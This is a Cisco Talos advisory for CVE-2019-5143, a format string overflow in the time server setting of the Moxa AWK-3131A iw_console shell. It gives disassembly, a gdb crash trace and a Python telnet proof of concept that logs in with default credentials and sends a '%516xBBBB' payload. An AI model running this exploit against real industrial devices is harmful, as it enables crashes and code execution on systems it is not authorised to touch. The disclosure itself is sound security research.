Headline
CVE-2019-5143: TALOS-2019-0932 || Cisco Talos Intelligence Group
An exploitable format string vulnerability exists in the iw_console conio_writestr functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted time server entry can cause an overflow of the time server buffer, resulting in remote code execution. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.
Summary
An exploitable format string vulnerability exists in the iw_console conio_writestr functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted time server entry can cause an overflow of the time server buffer, resulting in remote code execution. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.
Tested Versions
Moxa AWK-3131A Firmware version 1.13
Product URLs
http://www.moxa.com/product/AWK-3131A.htm
CVSSv3 Score
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Details
The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. It is designed to provide wireless communication capabilities to the environments in which it is deployed. Communication with the device is possible using HTTP, Telnet, and SSH.
When a legitimate user uses Telnet or SSH to log into the device they are presented with a restricted shell known as iw_console. iw_console allows the user to make various configuration changes, but is not intended to give that user access to the underlying system. When interacting with iw_console, the user is first presented with a ‘Main Menu’ where they are instructed to enter a character indicating their choice from a list of options, as shown below:
<< Main Menu >>
(1) System Info Settings
(2) Network Settings
(3) Time Settings
(4) Maintenance
(5) Restart
(q) Quit
Key in your selection:
The device time server can then be modified by selecting ‘Time Settings’ followed by either ‘Time server 1’ or ‘Time server 2’ as shown below:
<< Main Menu >>
(1) System Info Settings
(2) Network Settings
(3) Time Settings
(4) Maintenance
(5) Restart
(q) Quit
Key in your selection: 3
-----------------------------------------------------------------------------
<< Main Menu->Time Settings >>
(1) Local time
(2) Time zone
(3) Time server 1
(4) Time server 2
(5) Query period
(v) View settings
(m) Back to Main Menu
(q) Quit
Key in your selection: 3
Time server : fake.time.server
When a time server is entered, the only verification that the user entered value is valid that is performed is a length check. Due to this it is possible to enter format strings as the time server. When this is done using a format string that expands to a large amount of data, such as %1000x, the console will return the user to the ‘Main Menu->Time Settings’ menu. If the user subsequently enters one of the time server menus again, the reported time server value will overflow the available buffer and begin to overwrite arbitrary memory. If enough data is written it is possible to overwrite $ra and subsequently $pc An example of this can be seen below.
<< Main Menu->Time Settings >>
(1) Local time
(2) Time zone
(3) Time server 1
(4) Time server 2
(5) Query period
(v) View settings
(m) Back to Main Menu
(q) Quit
Key in your selection: 3
Time server : %1000x
Set "Time server" succeeds
Press any key to continue...
-----------------------------------------------------------------------------
<< Main Menu->Time Settings >>
(1) Local time
(2) Time zone
(3) Time server 1
(4) Time server 2
(5) Query period
(v) View settings
(m) Back to Main Menu
(q) Quit
Key in your selection: 3
Time server : 0Connection closed by foreign host.
Disassembly for the ‘Time server 1’ path can be found below.
#
# sub_404d34
#
...
00404d8c 3c030041… li $v1, 0x4097d4 {"Time server 1"}
00404d94 afa30014 sw $v1, 0x14($sp) {var_54} {0x4097d4, "Time server 1"}
00404d98 00402021 move $a0, $v0
00404d9c 3c020041 lui $v0, 0x41
00404da0 244596f4 addiu $a1, $v0, -0x690c {0x4096f4, "IWtime"}
00404da4 3c020041 lui $v0, 0x41
00404da8 244697c4 addiu $a2, $v0, -0x683c {0x4097c4, "firstTimeSrv"}
00404dac 27c20020 addiu $v0, $fp, 0x20 {var_48}
00404db0 00403821 move $a3, $v0 {var_48}
00404db4 8f828080 lw $v0, -0x7f80($gp) {iw_configGetDesc} # retrieves the Time Server 1 details
00404db8 0040c821 move $t9, $v0
00404dbc 0320f809 jalr $t9
00404dc0 00000000 nop
00404dc4 8fdc0018 lw $gp, 0x18($fp) {var_50}
00404dc8 3c020042… lw $v0, 0x41a980
00404dd0 24030100 addiu $v1, $zero, 0x100
00404dd4 afa30010 sw $v1, 0x10($sp) {0x100}
00404dd8 3c030041… li $v1, 0x4093b0
00404de0 afa30014 sw $v1, 0x14($sp) {var_54} {0x4093b0}
00404de4 00402021 move $a0, $v0
00404de8 3c020041 lui $v0, 0x41
00404dec 244596f4 addiu $a1, $v0, -0x690c {0x4096f4, "IWtime"}
00404df0 3c020041 lui $v0, 0x41
00404df4 244697c4 addiu $a2, $v0, -0x683c {0x4097c4, "firstTimeSrv"}
00404df8 3c020042 lui $v0, 0x42
00404dfc 2447ac4c addiu $a3, $v0, -0x53b4 {data_41ac4c}
00404e00 8f82812c lw $v0, -0x7ed4($gp) {iw_configGetBakValue} # retrieves the Time Server 1 details
00404e04 0040c821 move $t9, $v0
00404e08 0320f809 jalr $t9
00404e0c 00000000 nop
00404e10 8fdc0018 lw $gp, 0x18($fp) {var_50} {0x4227a0}
00404e14 00002021 move $a0, $zero {0x0}
00404e18 27c20020 addiu $v0, $fp, 0x20 {var_48}
00404e1c 00402821 move $a1, $v0 {var_48}
00404e20 0c100cbd jal sub_4032f4
00404e24 00000000 nop
00404e28 8fdc0018 lw $gp, 0x18($fp) {var_50}
00404e2c 8fc2006c lw $v0, 0x6c($fp) {arg_4}
00404e30 afa20010 sw $v0, 0x10($sp) {var_58}
00404e34 3c020042 lui $v0, 0x42
00404e38 2444ac4c addiu $a0, $v0, -0x53b4 {data_41ac4c}
00404e3c 24050028 addiu $a1, $zero, 0x28
00404e40 00003021 move $a2, $zero {0x0}
00404e44 00003821 move $a3, $zero {0x0}
00404e48 8f828044 lw $v0, -0x7fbc($gp) {conio_readstr} {0x41a7e4}
00404e4c 0040c821 move $t9, $v0 {conio_readstr}
00404e50 0411f288 bal conio_readstr # calls into conio_readstr to perform the printing operation
00404e54 00000000 nop
...
#
# conio_readstr
#
00401874 27bdffc8 addiu $sp, $sp, -0x38
00401878 afbf0034 sw $ra, 0x34($sp) {__saved_$ra}
0040187c afbe0030 sw $fp, 0x30($sp) {__saved_$fp}
00401880 03a0f021 move $fp, $sp {var_38}
00401884 3c1c0042… li $gp, 0x4227a0
0040188c afbc0010 sw $gp, 0x10($sp) {var_28} {0x4227a0}
00401890 afc40038 sw $a0, 0x38($fp) {arg_0}
00401894 afc5003c sw $a1, 0x3c($fp) {arg_4}
00401898 00c01021 move $v0, $a2
0040189c afc70044 sw $a3, 0x44($fp) {arg_c}
004018a0 a3c20040 sb $v0, 0x40($fp) {arg_8}
004018a4 24020001 addiu $v0, $zero, 1
004018a8 afc20018 sw $v0, 0x18($fp) {var_20} {0x1}
004018ac afc0001c sw $zero, 0x1c($fp) {var_1c} {0x0}
004018b0 8fc2003c lw $v0, 0x3c($fp) {arg_4}
004018b4 afc20020 sw $v0, 0x20($fp) {var_18}
004018b8 8fc40038 lw $a0, 0x38($fp) {arg_0}
004018bc 8f8280c0 lw $v0, -0x7f40($gp) {strlen}
004018c0 0040c821 move $t9, $v0
004018c4 0320f809 jalr $t9
004018c8 00000000 nop
004018cc 8fdc0010 lw $gp, 0x10($fp) {var_28} {0x4227a0}
004018d0 afc2001c sw $v0, 0x1c($fp) {var_1c_1}
004018d4 8fc2001c lw $v0, 0x1c($fp) {var_1c_1}
004018d8 24420001 addiu $v0, $v0, 1
004018dc afc20018 sw $v0, 0x18($fp) {var_20_1}
004018e0 8fc40038 lw $a0, 0x38($fp) {arg_0}
004018e4 0c1006f2 jal conio_writestr # calls into conio_writestr to perform the printing operation
004018e8 00000000 nop
...
#
# conio_writestr
#
00401bc8 27bdfdd8 addiu $sp, $sp, -0x228
00401bcc afbf0224 sw $ra, 0x224($sp) {__saved_$ra}
00401bd0 afbe0220 sw $fp, 0x220($sp) {__saved_$fp}
00401bd4 03a0f021 move $fp, $sp {var_228}
00401bd8 3c1c0042… li $gp, 0x4227a0
00401be0 afbc0010 sw $gp, 0x10($sp) {var_218} {0x4227a0}
00401be4 afc5022c sw $a1, 0x22c($fp) {arg_4}
00401be8 afc60230 sw $a2, 0x230($fp) {arg_8}
00401bec afc70234 sw $a3, 0x234($fp) {arg_c}
00401bf0 afc40228 sw $a0, 0x228($fp) {arg_0}
00401bf4 27c2022c addiu $v0, $fp, 0x22c {arg_4}
00401bf8 afc2001c sw $v0 {arg_4}, 0x1c($fp) {var_20c}
00401bfc 8fc2001c lw $v0, 0x1c($fp) {var_20c}
00401c00 27c30020 addiu $v1, $fp, 0x20 {var_208}
00401c04 00602021 move $a0, $v1 {var_208}
00401c08 8fc50228 lw $a1, 0x228($fp) {arg_0}
00401c0c 00403021 move $a2, $v0
00401c10 8f828114 lw $v0, -0x7eec($gp) {vsprintf} # Builds the string from user input
00401c14 0040c821 move $t9, $v0
00401c18 0320f809 jalr $t9
00401c1c 00000000 nop
... # trimming write param setup
00401c60 8fdc0010 lw $gp, 0x10($fp) {var_218}
00401c64 00402021 move $a0, $v0
00401c68 8fc20018 lw $v0, 0x18($fp) {var_210}
00401c6c 27c30020 addiu $v1, $fp, 0x20 {var_208}
00401c70 00602821 move $a1, $v1 {var_208}
00401c74 00403021 move $a2, $v0
00401c78 8f828108 lw $v0, -0x7ef8($gp) {write}
00401c7c 0040c821 move $t9, $v0
00401c80 0320f809 jalr $t9 # prints the string built by vsprintf to stdout: write(stdout, VSPRINTF_RESULT, size)
00401c84 00000000 nop
00401c88 8fdc0010 lw $gp, 0x10($fp) {var_218} {0x4227a0}
00401c8c 8fc20018 lw $v0, 0x18($fp) {var_210}
00401c90 03c0e821 move $sp, $fp
00401c94 8fbf0224 lw $ra, 0x224($sp) {__saved_$ra}
00401c98 8fbe0220 lw $fp, 0x220($sp) {__saved_$fp}
00401c9c 27bd0228 addiu $sp, $sp, 0x228
00401ca0 03e00008 jr $ra # SEG_FAULTs on the return attempt as $ra has been corrupted
00401ca4 00000000 nop
Crash Information
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 00000203 00000000 00000001 7fa15060 00000203 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 5a499e00 80340a70 20202020 20202020 5a499e00 00000000 20202020
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 00000003 7fa7ee44 1000b880 00000000 0046ba50
t8 t9 k0 k1 gp sp s8 ra
R24 00000003 2ae90884 80808080 00000000 004227a0 7fa15268 20202000 42424242
status lo hi badvaddr cause pc
0100ff13 0193684a 00001238 42424242 00800010 42424242
fcsr fir hi1 lo1 hi2 lo2 hi3 lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
dspctl restart
00000000 00000000
(gdb)
Exploit Proof of Concept
import telnetlib
import socket
def main():
# define some required params
rhost = "192.168.127.253"
username = "admin"
password = "moxa"
# format the params into messages
usernameMsg = "{}\n".format(username)
passwordMsg = "{}\n".format(password)
payloadMsg = "{}{}\n".format("\b"*100, "%516xBBBB")
# interact with the telnet window
# device name is set and then the device is rebooted
tn = telnetlib.Telnet(rhost)
try:
tn.read_until("login: ")
tn.write(usernameMsg)
tn.read_until("Password: ")
tn.write(passwordMsg)
tn.read_until("selection: ")
tn.write("3\n")
tn.read_until("selection: ")
tn.write("3\n")
tn.read_until("server : ")
tn.write(payloadMsg)
tn.read_until("continue...")
tn.write("\n")
tn.read_until("selection: ")
tn.write("3\n")
tn.read_until("server :")
tn.write("\n")
tn.read_until("\n")
except:
raise ValueError("An unknown error has occurred while communicating with the device")
try:
tn.write("\n")
except socket.error as e:
if "Broken pipe" in e.args:
print("Success")
else:
raise ValueError("An error has occurred triggering the overflow")
if __name__ == '__main__':
main()
Timeline
2019-10-22 - Vendor Disclosure
2020-02-20 - Public Release
Discovered by a member of Cisco Talos, Jared Rittle, and Carl Hurd of Cisco Talos.